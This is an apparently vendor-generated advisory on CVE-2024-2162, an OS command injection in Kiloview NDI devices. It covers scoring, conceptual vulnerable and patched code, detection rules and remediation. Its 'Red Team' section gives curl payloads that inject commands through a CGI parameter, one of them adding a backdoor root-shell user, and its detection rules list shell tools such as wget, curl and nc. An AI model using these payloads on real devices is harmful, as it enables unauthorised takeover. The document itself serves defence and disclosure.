CVE-2024-2162
Executive Summary
CVE-2024-2162 is a critical OS Command Injection vulnerability affecting multiple Kiloview NDI devices, including the N3, N3-s, N4, N20, N30, and N40 models. This flaw allows a low-privileged attacker to execute arbitrary operating system commands on the device with high privileges (root/system level). The vulnerability resides in the device's web management interface or API, where user-supplied input is improperly sanitized before being passed to a system shell. Successful exploitation can lead to full device compromise, data exfiltration, lateral movement within a broadcast or production network, and potential disruption of live video streams. The vendor has released firmware version 2.02.0227 to address this issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – An attacker needs a valid low-privileged account on the device.
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The combination of low attack complexity, network accessibility, and high impact makes this vulnerability highly attractive to threat actors targeting broadcast and media production environments.
Deep Dive & Mechanics
The vulnerability is an OS Command Injection (CWE-78) in the Kiloview NDI device's web management interface. The device likely uses a CGI script or an API endpoint that accepts user input (e.g., device name, network settings, or stream parameters) and passes it unsanitized to a system command like system(), exec(), or popen().
Attack Flow:
- Authentication: The attacker first obtains low-privileged credentials (e.g., via default credentials, brute-force, or phishing).
- Injection Point: The attacker identifies an input field (e.g., a "Device Name" or "Stream URL" parameter) that is not properly sanitized.
- Payload Delivery: The attacker injects command separators (e.g.,
;,|,&&,`) followed by malicious commands. - Execution: The device executes the injected commands with the privileges of the web server (typically root).
- Persistence & Lateral Movement: The attacker can install backdoors, exfiltrate data, or pivot to other devices on the network.
Example vulnerable code (conceptual):
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 1 %s", user_input);
system(cmd);
Vulnerable vs. Patched Code
Vulnerable Code (Firmware < 2.02.0227):
// Vulnerable: Direct concatenation of user input into system command
void set_device_name(char *name) {
char cmd[512];
snprintf(cmd, sizeof(cmd), "echo '%s' > /etc/device_name", name);
system(cmd);
}
Patched Code (Firmware 2.02.0227):
// Patched: Input validation and sanitization
void set_device_name(char *name) {
// Whitelist allowed characters (alphanumeric, hyphen, underscore)
if (!is_valid_hostname(name)) {
log_error("Invalid device name");
return;
}
// Use safe API instead of system()
write_to_file("/etc/device_name", name);
}
The patch likely implements input validation (whitelist of allowed characters) and replaces dangerous system() calls with safer API functions that do not invoke a shell.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Kiloview NDI device with firmware < 2.02.0227
- Low-privileged credentials (e.g., admin/admin)
- Network access to the device's web interface (default port 80 or 443)
Exploitation Steps:
Identify the injection point: Use a web proxy (e.g., Burp Suite) to intercept requests. Look for parameters like
name,url,ip, orcmdin POST/GET requests.Craft the payload: Inject a command separator followed by a malicious command. Example:
; id > /tmp/out.txtExecute the attack:
# Using curl to send a malicious request curl -X POST "http://<device_ip>/cgi-bin/set_config" \ -d "name=test;id>/tmp/pwned.txt"Verify execution:
# Check if the command executed curl "http://<device_ip>/cgi-bin/get_file?file=/tmp/pwned.txt"Establish persistence:
# Add a backdoor user curl -X POST "http://<device_ip>/cgi-bin/set_config" \ -d "name=test;useradd -m -s /bin/bash attacker;echo 'attacker:password' | chpasswd"
Blue Team (Detection & Response)
Detection Steps:
- Monitor for unusual HTTP requests: Look for requests containing shell metacharacters (
;,|,&&,`) in POST/GET parameters. - Check for unexpected processes: Use
ps auxortopto identify spawned shells (e.g.,/bin/sh,/bin/bash). - Review system logs: Check
/var/log/messages,/var/log/syslog, or web server logs for suspicious entries. - Network traffic analysis: Look for outbound connections from the device to unknown IPs (potential C2).
Hunting Query (Splunk):
index=network sourcetype=syslog
| search "Kiloview" AND ("; " OR "| " OR "&& " OR "`")
| table _time, src_ip, dest_ip, command
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing shell metacharacters in POST/GET parameters
- Outbound connections to known malicious IPs or domains
- Unusual DNS queries from the device
File IOCs:
/tmp/pwned.txtor similar files created by attackers- Modified
/etc/passwdor/etc/shadow(new user accounts) - Presence of web shells (e.g.,
cmd.php,shell.asp)
Process IOCs:
- Unexpected
/bin/shor/bin/bashprocesses spawned by the web server - Processes running as root that should not be
YARA Rule:
rule Kiloview_NDI_Command_Injection_IOC {
meta:
description = "Detects files or memory patterns associated with CVE-2024-2162 exploitation"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-2162"
strings:
$s1 = "id > /tmp/" ascii wide nocase
$s2 = "useradd" ascii wide nocase
$s3 = "chpasswd" ascii wide nocase
$s4 = "/cgi-bin/set_config" ascii wide nocase
condition:
any of them
}
Detection Engineering
YARA Rule
rule CVE_2024_2162_Kiloview_NDI_Command_Injection {
meta:
description = "Detects command injection attempts against Kiloview NDI devices"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-2162"
strings:
$cmd1 = /[;&|`]\s*(id|cat|ls|whoami|uname|wget|curl|nc|bash|sh|python|perl)/ ascii wide nocase
$cmd2 = /(system|exec|popen|shell_exec)\(/ ascii wide nocase
$uri1 = "/cgi-bin/" ascii wide nocase
$uri2 = "/set_config" ascii wide nocase
condition:
($cmd1 or $cmd2) and ($uri1 or $uri2)
}
Sigma Rule
title: Kiloview NDI Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing shell metacharacters targeting Kiloview NDI devices
author: Valters IT
date: 2024-01-01
references:
- CVE-2024-2162
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '/cgi-bin/'
- '/set_config'
cs-uri-query|re:
- ';[a-z]'
- '|[a-z]'
- '&&[a-z]'
- '`[a-z]'
condition: selection
falsepositives:
- Legitimate use of special characters in device names (unlikely)
level: high
tags:
- attack.t1203
- cve.2024.2162
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-2162 Kiloview NDI Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/cgi-bin/";
http_uri;
pcre:"/[;&|`]\s*(id|cat|ls|whoami|uname|wget|curl|nc|bash|sh|python|perl)/i";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2024-2162;
)
Remediation & Mitigation
Immediate Actions:
- Update Firmware: Upgrade all affected Kiloview NDI devices to firmware version 2.02.0227 or later.
- Change Default Credentials: Ensure all devices use strong, unique passwords.
- Network Segmentation: Isolate Kiloview NDI devices on a separate VLAN with strict firewall rules.
- Disable Unused Services: If the web interface is not required, disable it or restrict access to trusted IPs.
Long-Term Mitigations:
- Input Validation: Implement strict input validation (whitelist) for all user-supplied data.
- Use Safe APIs: Replace
system(),exec(), andpopen()with safer alternatives likeexecve()or library functions. - Web Application Firewall (WAF): Deploy a WAF to filter malicious requests.
- Regular Security Audits: Conduct periodic penetration testing and code reviews.
Valters IT Signature:
Report generated by Valters IT DevSecOps & CTI Division | CVE-2024-2162 Analysis | 2024